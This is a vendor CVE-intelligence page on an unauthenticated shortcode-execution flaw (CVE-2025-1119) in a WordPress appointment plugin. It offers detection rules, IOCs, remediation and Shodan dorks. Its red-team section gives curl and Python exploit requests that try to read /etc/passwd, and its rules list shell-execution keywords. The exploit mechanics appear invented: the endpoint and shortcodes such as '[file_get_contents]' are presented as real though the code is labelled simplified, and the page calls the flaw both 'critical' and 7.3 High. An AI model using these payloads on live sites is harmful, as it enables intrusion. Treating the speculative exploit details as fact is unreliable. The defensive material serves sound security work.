☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Simply schedule appointments logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-94
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-1119

CVE-2025-1119 Remote Code Execution in Simply schedule appointments
📅 PUBLISHED: 2025-03-13 06:56 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.46%
👁️
0.46% probability
11.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Global License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
7.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-1119 is a critical arbitrary shortcode execution vulnerability affecting the Appointment Booking Calendar — Simply Schedule Appointments Booking Plugin for WordPress, up to and including version 1.6.8.5. This vulnerability allows unauthenticated attackers to execute arbitrary WordPress shortcodes by exploiting insufficient validation in an action that triggers do_shortcode. Successful exploitation can lead to remote code execution, data exfiltration, or privilege escalation, depending on the shortcodes available in the WordPress environment. The CVSS score of 7.3 (High) reflects the ease of exploitation and potential impact. As a WordPress plugin vulnerability, it is part of the broader WordPress ecosystem and does not involve Apache or Nginx directly.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and third-party marketplaces. Users should verify the integrity of their plugin files by comparing checksums with the official repository. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors distributing modified versions.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – Unauthenticated exploitation.
  • User Interaction (UI): None (N) – No user action needed.
  • Scope (S): Unchanged (U) – Vulnerability affects only the plugin.
  • Confidentiality Impact (C): High (H) – Potential data exposure.
  • Integrity Impact (I): High (H) – Arbitrary shortcode execution can modify content.
  • Availability Impact (A): High (H) – Could disrupt site functionality.

Threat Level: High. The combination of network-based, unauthenticated access with low complexity makes this a prime target for automated attacks.

Deep Dive & Mechanics

The vulnerability resides in the plugin's handling of user-supplied actions. Specifically, the plugin registers an AJAX action or similar endpoint that accepts a parameter without proper validation. This parameter is then passed directly to WordPress's do_shortcode() function, which processes shortcodes like [shortcode]. An attacker can craft a request with a malicious shortcode, such as [file_get_contents /etc/passwd] or [wp_option get_option admin_email], to execute arbitrary operations.

The core issue is the lack of input sanitization and capability checks. The plugin should validate that the user has the necessary permissions and that the input is a safe shortcode. Instead, it blindly trusts the input.

WordPress Ecosystem Context: This is a classic WordPress plugin vulnerability where the plugin fails to follow WordPress coding standards for input validation and capability checks. The do_shortcode function is powerful and should only be called with trusted input.

Vulnerable vs. Patched Code

Vulnerable Code (simplified example):

add_action('wp_ajax_nopriv_ssa_shortcode', 'ssa_handle_shortcode');
function ssa_handle_shortcode() {
    $shortcode = $_POST['shortcode'];
    echo do_shortcode($shortcode);
    wp_die();
}

Patched Code (hypothetical):

add_action('wp_ajax_nopriv_ssa_shortcode', 'ssa_handle_shortcode');
function ssa_handle_shortcode() {
    if (!current_user_can('edit_posts')) {
        wp_die('Unauthorized', 403);
    }
    $shortcode = sanitize_text_field($_POST['shortcode']);
    $allowed_shortcodes = array('ssa_appointment', 'ssa_calendar');
    if (in_array($shortcode, $allowed_shortcodes)) {
        echo do_shortcode($shortcode);
    } else {
        echo 'Invalid shortcode';
    }
    wp_die();
}

The patched version adds a capability check and restricts execution to a whitelist of safe shortcodes.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A WordPress site with the vulnerable plugin installed and activated.
  • No authentication required.

Exploitation Steps:

  1. Identify the vulnerable endpoint (e.g., /wp-admin/admin-ajax.php with action ssa_shortcode).
  2. Craft a POST request with the malicious shortcode.
  3. Execute to read sensitive data or execute commands.

Example Exploit (using cURL):

curl -X POST http://target.com/wp-admin/admin-ajax.php \
  -d "action=ssa_shortcode&shortcode=[file_get_contents /etc/passwd]"

Alternative using Python:

import requests

url = "http://target.com/wp-admin/admin-ajax.php"
data = {
    "action": "ssa_shortcode",
    "shortcode": "[file_get_contents /etc/passwd]"
}
response = requests.post(url, data=data)
print(response.text)

Note: The exact shortcode depends on available WordPress functions. Common dangerous shortcodes include [wp_option get_option admin_email], [wp_meta], or custom ones from other plugins.

Blue Team

Detection:

  • Monitor for POST requests to /wp-admin/admin-ajax.php with action=ssa_shortcode and suspicious shortcode parameters.
  • Look for shortcodes containing file paths, SQL queries, or system commands.

Hunting:

  • Search logs for do_shortcode calls with unexpected parameters.
  • Use the Sigma rule below to detect exploitation attempts.

Lab Setup:

  • Install WordPress and the vulnerable plugin in a sandboxed environment.
  • Use a web application firewall (WAF) to test detection rules.

Indicators of Compromise (IOCs)

  • Network:
    • POST requests to /wp-admin/admin-ajax.php with action=ssa_shortcode.
    • Shortcode parameters containing [file_get_contents, [wp_option, [exec], or similar.
  • File System:
    • Unexpected files in /wp-content/uploads/ or /tmp/ created by shortcodes.
    • Modified WordPress core files (if shortcode allowed file writes).
  • Logs:
    • PHP error logs showing do_shortcode with unexpected arguments.
    • Access logs with unusual POST data.

Detection Engineering

YARA Rule

rule CVE_2025_1119_Shortcode_Exploit {
    meta:
        description = "Detects exploitation attempts of CVE-2025-1119 via shortcode injection"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-1119"
    strings:
        $shortcode_action = "action=ssa_shortcode"
        $shortcode_param = "shortcode="
        $dangerous_funcs = /\[(file_get_contents|exec|system|passthru|shell_exec|wp_option|wp_meta|do_shortcode)/
    condition:
        $shortcode_action and $shortcode_param and $dangerous_funcs
}

Sigma Rule

title: CVE-2025-1119 WordPress Shortcode Injection
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects exploitation of arbitrary shortcode execution in Simply Schedule Appointments plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=ssa_shortcode'
        cs-uri-query|contains: 'shortcode='
    keywords:
        - 'file_get_contents'
        - 'exec'
        - 'system'
        - 'passthru'
        - 'shell_exec'
        - 'wp_option'
        - 'wp_meta'
    condition: selection and keywords
falsepositives:
    - Legitimate use of shortcodes by administrators (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-1119 WordPress Shortcode Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=ssa_shortcode"; http_client_body; content:"shortcode="; http_client_body; pcre:"/\[(file_get_contents|exec|system|passthru|shell_exec|wp_option|wp_meta)/i"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is available.
  2. Implement a Web Application Firewall (WAF) rule to block requests containing action=ssa_shortcode and suspicious shortcode patterns.
  3. Restrict access to /wp-admin/admin-ajax.php using IP whitelisting or authentication.

Long-term Fix:

  • The vendor must release a patched version that validates user capabilities and restricts shortcode execution to a whitelist.
  • Apply the principle of least privilege: only allow shortcodes that are necessary for the plugin's functionality.

Workaround:

  • Add the following code to the theme's functions.php to disable the vulnerable endpoint:
add_action('init', function() {
    remove_action('wp_ajax_nopriv_ssa_shortcode', 'ssa_handle_shortcode');
    remove_action('wp_ajax_ssa_shortcode', 'ssa_handle_shortcode');
});

Monitoring:

  • Continuously monitor for exploitation attempts using the provided detection rules.
  • Review WordPress logs for any signs of compromise.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Simply Schedule Appointments"
http.html:"wp-content/plugins/simply-schedule-appointments"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-1119/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.